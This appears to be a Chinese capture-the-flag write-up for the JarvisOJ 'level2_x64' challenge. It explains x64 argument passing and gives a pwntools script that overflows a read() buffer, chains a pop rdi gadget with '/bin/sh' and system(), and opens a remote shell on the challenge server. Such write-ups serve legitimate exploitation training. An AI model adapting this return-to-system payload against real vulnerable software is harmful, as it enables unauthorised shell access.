gaonuoqi

题目地址

 

NX保护

 read有栈溢出漏洞

IDA  按shift+F12寻找字符串    发现shell

 

大致的思路跟level2差不多,不过这是64位的程序

参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器传参,我们就需要覆盖edi的值

64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中

参数超过六个时,从第七个开始压入栈中

现在我们需要把/bin/sh的地址放入edi中,但是找不到edi的地址,所以需要用ropgadget来找到需要的rop链

 利用脚本如下

from pwn import *

r=remote(\'pwn2.jarvisoj.com\',9882)
e=ELF(\'./level2_x64\')
sys_addr=e.symbols[\'system\']
bin_addr=e.search("/bin/sh").next()
pop_rdi=0x4006b3

payload=\'a\'*0x80+\'b\'*0x8+p64(pop_rdi)+p64(bin_addr)+p64(sys_addr) #利用rdi寄存器给system传参
r.recvuntil(\'Input:\')
r.sendline(payload)

r.interactive()

执行

 

 

    

 

分类:

技术点:

相关文章:

  • 2021-09-17
  • 2021-09-17
  • 2021-09-17
  • 2021-09-29
  • 2021-09-17
  • 2021-09-17
  • 2021-09-17
  • 2021-09-17
猜你喜欢
  • 2021-09-17
  • 2021-10-26
  • 2021-09-17
  • 2021-09-29
  • 2021-09-17
  • 2021-09-17
相关资源
相似解决方案